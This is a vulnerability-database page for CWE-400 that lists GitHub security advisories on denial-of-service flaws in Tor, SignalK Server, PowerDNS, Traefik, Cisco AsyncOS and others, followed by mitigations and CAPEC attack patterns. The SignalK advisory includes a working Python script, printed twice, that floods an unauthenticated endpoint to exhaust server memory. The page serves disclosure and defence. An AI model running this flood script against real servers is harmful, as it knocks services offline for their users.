CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5623 vulnerabilities reference this CWE, most recent first.
GHSA-7RPW-J92M-2VR2
Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2022-05-24 17:12Tor before 0.3.5.10, 0.4.x before 0.4.1.9, and 0.4.2.x before 0.4.2.7 allows remote attackers to cause a Denial of Service (CPU consumption), aka TROVE-2020-002.
{
"affected": [],
"aliases": [
"CVE-2020-10592"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-23T13:15:00Z",
"severity": "MODERATE"
},
"details": "Tor before 0.3.5.10, 0.4.x before 0.4.1.9, and 0.4.2.x before 0.4.2.7 allows remote attackers to cause a Denial of Service (CPU consumption), aka TROVE-2020-002.",
"id": "GHSA-7rpw-j92m-2vr2",
"modified": "2022-05-24T17:12:13Z",
"published": "2022-05-24T17:12:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10592"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202003-50"
},
{
"type": "WEB",
"url": "https://trac.torproject.org/projects/tor/ticket/33120"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00045.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00052.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7RQC-FF8M-7J23
Vulnerability from github – Published: 2026-01-02 15:20 – Updated: 2026-01-02 15:20Summary
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details
The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis:
1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object:
javascript
const requests = {}
2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests.
3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate).
4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario:
1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests.
2. The server stores every request in the requests object in the Node.js heap.
3. The heap memory usage spikes rapidly.
4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC
The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
import urllib.request
import json
import threading
import time
# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1 # 100 KB per request
NUM_REQUESTS = 20000 # Sufficient to exhaust heap
CONCURRENCY = 50
# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))
def send_heavy_request(i):
try:
payload = {
"clientId": f"attacker-device-{i}",
"description": LARGE_STRING, # Stored in memory!
"permissions": "readwrite"
}
data = json.dumps(payload).encode('utf-8')
req = urllib.request.Request(
TARGET_URL,
data=data,
headers={'Content-Type': 'application/json'},
method='POST'
)
# Short timeout as server might hang
urllib.request.urlopen(req, timeout=5)
except:
pass
def attack():
print(f"[*] Starting DoS Attack on {TARGET_URL}...")
threads = []
for i in range(NUM_REQUESTS):
t = threading.Thread(target=send_heavy_request, args=(i,))
threads.append(t)
t.start()
if len(threads) >= CONCURRENCY:
for t in threads: t.join()
threads = []
if __name__ == "__main__":
attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact
Verified Denial of Service:
During our verification using the provided PoC, we observed the following:
1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash.
3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
Remediation
1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68272"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:20:05Z",
"nvd_published_at": "2026-01-01T18:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1. **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n ```javascript\n const requests = {}\n ```\n2. **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3. **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4. **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it\u0027s for initial access requests).\n\n**Exploit Scenario:**\n1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2. The server stores every request in the `requests` object in the Node.js heap.\n3. The heap memory usage spikes rapidly.\n4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1 # 100 KB per request\nNUM_REQUESTS = 20000 # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n try:\n payload = {\n \"clientId\": f\"attacker-device-{i}\",\n \"description\": LARGE_STRING, # Stored in memory!\n \"permissions\": \"readwrite\"\n }\n data = json.dumps(payload).encode(\u0027utf-8\u0027)\n \n req = urllib.request.Request(\n TARGET_URL, \n data=data, \n headers={\u0027Content-Type\u0027: \u0027application/json\u0027}, \n method=\u0027POST\u0027\n )\n # Short timeout as server might hang\n urllib.request.urlopen(req, timeout=5)\n except:\n pass\n\ndef attack():\n print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n threads = []\n for i in range(NUM_REQUESTS):\n t = threading.Thread(target=send_heavy_request, args=(i,))\n threads.append(t)\n t.start()\n \n if len(threads) \u003e= CONCURRENCY:\n for t in threads: t.join()\n threads = []\n\nif __name__ == \"__main__\":\n attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1. **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2. **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3. **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel\u0027s navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.",
"id": "GHSA-7rqc-ff8m-7j23",
"modified": "2026-01-02T15:20:05Z",
"published": "2026-01-02T15:20:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68272"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding"
}
GHSA-7RV6-R2FM-295C
Vulnerability from github – Published: 2026-04-22 15:31 – Updated: 2026-04-22 15:31A rogue primary server may cause file descriptor exhaustion and eventually a denial of service, when a PowerDNS secondary server forwards a DNS update request to it.
{
"affected": [],
"aliases": [
"CVE-2026-33610"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T14:16:54Z",
"severity": "MODERATE"
},
"details": "A rogue primary server may cause file descriptor exhaustion and eventually a denial of service, when a PowerDNS secondary server forwards a DNS update request to it.",
"id": "GHSA-7rv6-r2fm-295c",
"modified": "2026-04-22T15:31:45Z",
"published": "2026-04-22T15:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33610"
},
{
"type": "WEB",
"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-05.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7V22-7RX4-H6F8
Vulnerability from github – Published: 2022-08-19 00:00 – Updated: 2022-08-22 00:00libjpeg commit 281daa9 was discovered to contain a segmentation fault via LineMerger::GetNextLowpassLine at linemerger.cpp. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted file.
{
"affected": [],
"aliases": [
"CVE-2022-37770"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-18T20:15:00Z",
"severity": "MODERATE"
},
"details": "libjpeg commit 281daa9 was discovered to contain a segmentation fault via LineMerger::GetNextLowpassLine at linemerger.cpp. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted file.",
"id": "GHSA-7v22-7rx4-h6f8",
"modified": "2022-08-22T00:00:58Z",
"published": "2022-08-19T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37770"
},
{
"type": "WEB",
"url": "https://github.com/thorfdbg/libjpeg/issues/79"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7V39-PQXG-4XWF
Vulnerability from github – Published: 2024-01-11 00:30 – Updated: 2024-01-17 00:30The issue was addressed with improved checks. This issue is fixed in iOS 17.2 and iPadOS 17.2. An attacker in a privileged network position may be able to perform a denial-of-service attack using crafted Bluetooth packets.
{
"affected": [],
"aliases": [
"CVE-2023-42941"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T22:15:50Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in iOS 17.2 and iPadOS 17.2. An attacker in a privileged network position may be able to perform a denial-of-service attack using crafted Bluetooth packets.",
"id": "GHSA-7v39-pqxg-4xwf",
"modified": "2024-01-17T00:30:19Z",
"published": "2024-01-11T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42941"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214035"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214035"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7V4P-328V-8V5G
Vulnerability from github – Published: 2023-10-17 02:37 – Updated: 2023-10-17 02:37Impact
A vulnerability CVE-2023-39325 exists in Go managing HTTP/2 requests, which impacts Traefik. This vulnerability could be exploited to cause a denial of service.
References
Patches
- https://github.com/traefik/traefik/releases/tag/v2.10.5
- https://github.com/traefik/traefik/releases/tag/v3.0.0-beta4
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.0.0-beta4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-17T02:37:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA vulnerability CVE-2023-39325 exists in [Go managing HTTP/2 requests](https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo/m/UDd7VKQuAAAJ?pli=1), which impacts Traefik. This vulnerability could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2023-44487](https://www.cve.org/CVERecord?id=CVE-2023-44487)\n- [CVE-2023-39325](https://www.cve.org/CVERecord?id=CVE-2023-39325)\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.10.5\n- https://github.com/traefik/traefik/releases/tag/v3.0.0-beta4",
"id": "GHSA-7v4p-328v-8v5g",
"modified": "2023-10-17T02:37:42Z",
"published": "2023-10-17T02:37:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-7v4p-328v-8v5g"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo/m/UDd7VKQuAAAJ?pli=1"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Traefik vulnerable to HTTP/2 request causing denial of service "
}
GHSA-7VVJ-647Q-JGX2
Vulnerability from github – Published: 2022-05-14 03:35 – Updated: 2022-05-14 03:35An issue was discovered in Icinga 2.x through 2.8.1. By sending specially crafted (authenticated and unauthenticated) requests, an attacker can exhaust a lot of memory on the server side, triggering the OOM killer.
{
"affected": [],
"aliases": [
"CVE-2018-6532"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-27T19:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Icinga 2.x through 2.8.1. By sending specially crafted (authenticated and unauthenticated) requests, an attacker can exhaust a lot of memory on the server side, triggering the OOM killer.",
"id": "GHSA-7vvj-647q-jgx2",
"modified": "2022-05-14T03:35:52Z",
"published": "2022-05-14T03:35:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6532"
},
{
"type": "WEB",
"url": "https://github.com/Icinga/icinga2/pull/6103"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VX9-5H56-F698
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the web proxy functionality of Cisco AsyncOS Software for Cisco Web Security Appliances could allow an unauthenticated, remote attacker to exhaust system memory and cause a denial of service (DoS) condition on an affected system. The vulnerability exists because the affected software improperly manages memory resources for TCP connections to a targeted device. An attacker could exploit this vulnerability by establishing a high number of TCP connections to the data interface of an affected device via IPv4 or IPv6. A successful exploit could allow the attacker to exhaust system memory, which could cause the system to stop processing new connections and result in a DoS condition. System recovery may require manual intervention. Cisco Bug IDs: CSCvf36610.
{
"affected": [],
"aliases": [
"CVE-2018-0410"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-15T20:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web proxy functionality of Cisco AsyncOS Software for Cisco Web Security Appliances could allow an unauthenticated, remote attacker to exhaust system memory and cause a denial of service (DoS) condition on an affected system. The vulnerability exists because the affected software improperly manages memory resources for TCP connections to a targeted device. An attacker could exploit this vulnerability by establishing a high number of TCP connections to the data interface of an affected device via IPv4 or IPv6. A successful exploit could allow the attacker to exhaust system memory, which could cause the system to stop processing new connections and result in a DoS condition. System recovery may require manual intervention. Cisco Bug IDs: CSCvf36610.",
"id": "GHSA-7vx9-5h56-f698",
"modified": "2022-05-13T01:35:13Z",
"published": "2022-05-13T01:35:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0410"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180815-wsa-dos"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105098"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041535"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VXC-Q7RV-QFJ8
Vulnerability from github – Published: 2023-08-11 15:30 – Updated: 2024-10-03 17:26An issue was discovered in StaticPool in SUCHMOKUO node-worker-threads-pool version 1.4.3 that allows attackers to cause a denial of service.
This can be mitigated by manually creating a timeout. For example:
const { StaticPool } = require(\"node-worker-threads-pool\");
const staticPool = new StaticPool({
size: 1,
task: (n) => {
while (n) {
console.log(\"a\");
}
return n;
}
});
staticPool.createExecutor().setTimeout(10).exec(1).then((result) => {
console.log(\"result from thread pool:\", result);
}).catch(() => console.error('timeout'));
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-worker-threads-pool"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29057"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-11T22:16:44Z",
"nvd_published_at": "2023-08-11T14:15:12Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in StaticPool in SUCHMOKUO node-worker-threads-pool version 1.4.3 that allows attackers to cause a denial of service.\n\nThis can be mitigated by manually creating a timeout. For example:\n\n```ts\nconst { StaticPool } = require(\\\"node-worker-threads-pool\\\");\n\t\n\tconst staticPool = new StaticPool({\n size: 1,\n task: (n) =\u003e {\n while (n) {\n console.log(\\\"a\\\");\n }\n return n;\n }\n});\n \n staticPool.createExecutor().setTimeout(10).exec(1).then((result) =\u003e {\n console.log(\\\"result from thread pool:\\\", result);\n}).catch(() =\u003e console.error(\u0027timeout\u0027));\n```",
"id": "GHSA-7vxc-q7rv-qfj8",
"modified": "2024-10-03T17:26:26Z",
"published": "2023-08-11T15:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29057"
},
{
"type": "WEB",
"url": "https://github.com/SUCHMOKUO/node-worker-threads-pool/issues/20"
},
{
"type": "PACKAGE",
"url": "https://github.com/SUCHMOKUO/node-worker-threads-pool"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SUCHMOKUO node-worker-threads-pool denial of service Vulnerability"
}
GHSA-7W6H-978P-XVRG
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39A regular expression denial of service issue has been discovered in NuGet API affecting all versions of GitLab starting from version 12.8.
{
"affected": [],
"aliases": [
"CVE-2021-22168"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-15T16:15:00Z",
"severity": "MODERATE"
},
"details": "A regular expression denial of service issue has been discovered in NuGet API affecting all versions of GitLab starting from version 12.8.",
"id": "GHSA-7w6h-978p-xvrg",
"modified": "2022-05-24T17:39:23Z",
"published": "2022-05-24T17:39:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22168"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22168.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/289950"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.